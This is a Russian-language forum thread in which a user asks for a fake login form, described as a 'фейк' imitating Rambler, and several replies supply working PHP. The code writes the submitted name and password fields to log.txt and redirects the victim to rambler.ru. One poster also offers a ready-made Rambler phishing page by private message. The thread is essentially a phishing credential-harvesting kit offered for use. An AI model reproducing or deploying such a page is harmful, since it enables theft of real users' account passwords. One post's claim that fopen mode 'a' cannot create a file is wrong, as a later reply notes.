Просмотр полной версии : Форма на Php
Помогите плззз!
Знаю что для, людей которые хорошо знают php дело 2-х минут.
В общем надо форму аутентификации с двумя или тремя полями,
Например имя:
Пароль:
Чо нить ещё:
Потом кнопка после нажатия, на которую данные из полей сохранялись в фаил на сревере, и ещё переходил по ссылке, например на главную страницу rambler.
Вроде просто, но блин времени мало, что бы самому разбираться.
Выложите плззз готовый код.
И какой бесплатный хост под это дело вы посоветуете, чтоб всё пахало, и рекламу можно было сбить?
.::Gh0st::.
05.11.2007, 12:42
<form action="<? echo $_SERVER["PHP_SELF"];?>" method="post">
1: <input type="text" name="1"/><br/>
2: <input type="text" name="2"/><br/>
3: <input type="text" name="3"/><br/>
<input type="submit" name="submit" value="ок"/>
</form>
<?
if (isset($_POST))
{
$string = "$_POST[1]\r\n$_POST[2]\r\n$_POST[3]\r\n----------";
$handle = fopen("log.txt", "a");
fputs($handle, $string);
fclose($handle);
header("Location: http://rambler.ru/");
}
?>
если фейк делаеш- не изобретай велосипед))) они уже все есть))) здесь выкладывать не буду, если нужен в П М
halkfild
05.11.2007, 13:08
все правильно только надо поменять местами.. так редиректа не будет
Помните, что header() обязана вызываться до отправки любого вывода: нормальными ли тэгами HTML, пустыми строками в файле, или из PHP.
а так будет
<?
if (isset($_POST))
{
$string = "$_POST[1]\r\n$_POST[2]\r\n$_POST[3]\r\n----------";
$handle = fopen("log.txt", "a");
fputs($handle, $string);
fclose($handle);
header("Location: http://rambler.ru/");
}
?>
<form action="<? echo $_SERVER["PHP_SELF"];?>" method="post">
1: <input type="text" name="1"/><br/>
2: <input type="text" name="2"/><br/>
3: <input type="text" name="3"/><br/>
<input type="submit" name="submit" value="ок"/>
</form>
.::Gh0st::. привёл хороший пример, но небольшая поправка, у него не будет отправляться хеадер.
<?
if( !$_POST )
{
?>
<form method="post">
1: <input type="text" name="1"/><br/>
2: <input type="text" name="2"/><br/>
3: <input type="text" name="3"/><br/>
<input type="submit" name="submit" value="ок"/>
</form>
<?
}
else
{
$string = $_POST[1]."\n".$_POST[2]."\n".$_POST[3]."\n----------\n";
$handle = fopen("log.txt", "a");
fputs($handle, $string);
fclose($handle);
header("Location: http://rambler.ru/");
}
?>
2Zapadlo 17
Да ты прав, скинь если можешь.
$handle = fopen("log.txt", "a"); - log.txt сам фаил куда всё спишется а что значит "a" ???
blackybr
05.11.2007, 13:29
'a' - если файла не существует создает.. аа так открывает на запись в конец файла
$handle = fopen("log.txt", "a"); - log.txt сам фаил куда всё спишется а что значит "a" ???
Это модификатор, он может иметь значения:
'r' - Открыть только для чтения;
'r+' - Открыть для чтения и записи;
'w' - Открыть только для записи;
'a' - Открыть только для записи в конец файла;
'a+' - Открыть для чтения и записи в конец файла;
'a' - если файла не существует создает.. аа так открывает на запись в конец файла
не правда... ничиго он не создает с модификатором 'a', если файла нет, то вылезет ошибка, что типа файл не найден, файл создает 'w'...
не правда... ничиго он не создает с модификатором 'a', если файла нет, то вылезет ошибка, что типа файл не найден, файл создает 'w'...
'a' - открывает файл только для записи; помещает указатель в конец файла. Если файл не существует - пытается его создать.
'a' - открывает файл только для записи; помещает указатель в конец файла. Если файл не существует - пытается его создать.
Блин не знал... :(
2Zapadlo 17
Да ты прав, скинь если можешь.
Скинул те в личку готовый рамблеровский , если не разберешся- спросиш, а вообще они создаются за пару минут
читайте страуструпа)))))))))
Всем иегп респектище!!!!
Особенно zapadlo 17
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot